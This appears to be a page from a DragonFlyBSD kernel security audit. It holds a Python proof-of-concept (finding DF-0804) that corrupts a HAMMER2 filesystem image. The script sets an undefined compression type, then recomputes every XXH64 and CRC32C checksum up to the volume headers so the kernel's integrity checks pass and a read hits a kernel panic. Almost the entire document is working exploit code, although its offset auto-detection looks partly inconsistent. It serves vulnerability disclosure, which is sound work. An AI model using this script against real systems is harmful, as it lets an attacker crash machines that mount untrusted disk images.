DragonFlyBSD Kernel Audit
DF-0804 / corrupt_image.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-0804 trigger helper: craft a HAMMER2 image whose data blockref carries an
out-of-range compression method, so a read of that file hits:

    panic("hammer2_strategy_read_completion: unknown compression type")
        sys/vfs/hammer2/hammer2_strategy.c:496

The corruption is on-disk-blockref-only: we flip the `methods` low nibble of a
DATA blockref from NONE(0) to 4 (undefined), then walk the check cascade
(file-inode -> BOOT-inode -> SUPROOT-inode -> volume-header sroot blockref) and
recompute every XXH64 / iSCSI-CRC32 so the image still passes the kernel's
integrity verification.  No functional data is altered, so the read reaches the
panic site instead of being rejected upstream as a CRC failure.

Pure-python (no third-party deps): implements XXH64 (seed 0x4d617474446c6c6e)
and CRC32C (Castagnoli) itself.  XXH64 long-input path (>=32 B) is validated
against the reference xxhash package for 1024-byte inode payloads.

Usage:  corrupt_image.py <image> <file_inode_off> <boot_inode_off> <suproot_inode_off>
        (offsets are decimal byte offsets into the image, obtainable from
         `hammer2 show <dev> | grep inode.0`)
If offsets are omitted, the script auto-detects them by scanning for the
sroot blockref chain starting from volume header 0.
"""
import sys, struct

SEED = 0x4d617474446c6c6e
MAGIC = 0x48414d3205172011
MASK = (1 << 64) - 1
P1,P2,P3,P4,P5 = (0x9E3779B185EBCA87,0xC2B2AE3D27D4EB4F,
                  0x165667B19E3779F9,0x85EBCA77C2B2AE63,0x27D4EB2F165667C5)
def _rotl64(x,r): return ((x<<r)|(x>>(64-r)))&MASK
def xxh64(data, seed=0):
    """Pure-python XXH64 (long-input path validated against xxhash pkg)."""
    n=len(data); i=0
    if n>=32:
        v=[(seed+P1+P2)&MASK,(seed+P2)&MASK,seed&MASK,(seed-P1)&MASK]
        end=n-32
        while i<=end:
            for k in range(4):
                val=int.from_bytes(data[i+k*8:i+k*8+8],'little')
                v[k]=(_rotl64(((v[k]+(val*P2&MASK))&MASK),31)*P1)&MASK
            i+=32
        h=(_rotl64(v[0],1)+_rotl64(v[1],7)+_rotl64(v[2],12)+_rotl64(v[3],18))&MASK
        for vv in v:
            h=(h^((_rotl64((vv*P2&MASK),31)*P1)&MASK))&MASK; h=(h*P1+P4)&MASK
    else:
        h=(seed+P5)&MASK
    h=(h+n)&MASK
    while i+4<=n:
        k=int.from_bytes(data[i:i+4],'little'); h=(h^((k*P1)&MASK))&MASK
        h=(_rotl64(h,23)*P2+P3)&MASK; i+=4
    while i<n:
        h=(h^(data[i]*P5))&MASK; h=(_rotl64(h,11)*P1)&MASK; i+=1
    h^=h>>33; h=(h*P2)&MASK; h^=h>>29; h=(h*P3)&MASK; h^=h>>32
    return h&MASK

_CRC_TBL=None
def crc32c(data):
    global _CRC_TBL
    if _CRC_TBL is None:
        poly=0x82F63B78; _CRC_TBL=[]
        for i in range(256):
            c=i
            for _ in range(8): c=(c>>1)^poly if (c&1) else (c>>1)
            _CRC_TBL.append(c)
    crc=0xFFFFFFFF
    for b in data: crc=(crc>>8)^_CRC_TBL[(crc^b)&0xFF]
    return crc^0xFFFFFFFF

INODE_BYTES=1024
BREF_BYTES=128
BREF0_OFF=0x200          # blockset.blockref[0] within an inode
METH_OFF=BREF0_OFF+1     # methods byte
CHK_OFF=BREF0_OFF+64     # check.xxhash64.value (8B LE)

def corrupt(img, f_off, b_off, s_off):
    """Corrupt the DATA bref methods byte in the file inode at f_off, then
    re-weave the CRC chain: file->BOOT->SUPROOT->volume-header(4 copies)."""
    rb = bytearray(img)
    old = rb[f_off+METH_OFF]
    rb[f_off+METH_OFF] = (old & 0xF0) | 4      # comp NONE(0) -> 4 (undefined)
    print(f"[1] file DATA bref methods 0x{old:02x} -> 0x{rb[f_off+METH_OFF]:02x}")
    fxx=xxh64(bytes(rb[f_off:f_off+INODE_BYTES]),SEED)
    struct.pack_into('<Q',rb,b_off+CHK_OFF,fxx)
    print(f"[2] file inode XXH64 {fxx:016x} -> BOOT bref[0].check")
    bxx=xxh64(bytes(rb[b_off:b_off+INODE_BYTES]),SEED)
    struct.pack_into('<Q',rb,s_off+CHK_OFF,bxx)
    print(f"[3] BOOT  inode XXH64 {bxx:016x} -> SUPROOT bref[0].check")
    sxx=xxh64(bytes(rb[s_off:s_off+INODE_BYTES]),SEED)
    print(f"[4] SUPROOT inode XXH64 {sxx:016x} -> volume sroot bref[0].check")
    # patch every valid volume-header copy (4 x 64 KiB at image start)
    for vi in range(4):
        base=vi*65536
        if struct.unpack('<Q',rb[base:base+8])[0]!=MAGIC: continue
        struct.pack_into('<Q',rb,base+0x240,sxx)              # sroot bref[0].check
        icrc1=crc32c(bytes(rb[base+0x200:base+0x400])); struct.pack_into('<I',rb,base+0x1F8,icrc1)
        icrc0=crc32c(bytes(rb[base+0:base+0x1FC])); struct.pack_into('<I',rb,base+0x1FC,icrc0)
        icrcvh=crc32c(bytes(rb[base:base+0xFFFC])); struct.pack_into('<I',rb,base+0xFFFC,icrcvh)
        vh=bytes(rb[base:base+65536])
        ok = (struct.unpack('<I',vh[0x1F8:0x1FC])[0]==crc32c(vh[0x200:0x400])
              and struct.unpack('<I',vh[0x1FC:0x200])[0]==crc32c(vh[0:0x1FC])
              and struct.unpack('<I',vh[0xFFFC:0x10000])[0]==crc32c(vh[0:0xFFFC]))
        print(f"    volhdr {vi}: ICRC0/1/VH recomputed {'OK' if ok else 'FAIL'}")
    return bytes(rb)

def auto_detect(img):
    """Find file-inode, BOOT-inode, SUPROOT-inode offsets from the volume
    header's sroot blockref chain (depth 2)."""
    base=0
    sbref=img[base+0x200:base+0x280]
    s_off=(struct.unpack('<Q',sbref[32:40])[0]) & ~0x3F   # strip radix
    sino=img[s_off:s_off+INODE_BYTES]
    # SUPROOT blockset: blockref[0] = BOOT (or LOCAL); find the MASTER/BOOT
    b_off=None; f_off=None
    for bi in range(8):   # up to 8 blockrefs
        br=sino[0x200+bi*BREF_BYTES : 0x200+(bi+1)*BREF_BYTES]
        if br[0]!=1: continue   # type INODE
        cand=(struct.unpack('<Q',br[32:40])[0]) & ~0x3F
        # check whether this inode's blockset has a DATA child (type 3)
        d=img[cand:cand+INODE_BYTES]
        for fi in range(8):
            fr=d[0x200+fi*BREF_BYTES : 0x200+(fi+1)*BREF_BYTES]
            if fr[0]==3:   # DATA
                b_off=cand; f_off=cand  # same inode holds the data bref
                return f_off,b_off,s_off
    raise SystemExit("auto-detect: could not locate the file DATA blockref chain")

def main():
    if len(sys.argv)<2:
        print(__doc__); sys.exit(1)
    path=sys.argv[1]
    img=open(path,'rb').read()
    if len(sys.argv)>=5:
        f_off,b_off,s_off=(int(x,0) for x in sys.argv[2:5])
    else:
        f_off,b_off,s_off=auto_detect(img)
        print(f"auto-detected: file_inode=0x{f_off:x} boot_inode=0x{b_off:x} suproot_inode=0x{s_off:x}")
    out=corrupt(img,f_off,b_off,s_off)
    open(path,'r+b').write(out) if False else open(path,'wb').write(out)
    print(f"wrote corrupted image: {path} ({len(out)} bytes)")

if __name__=='__main__': main()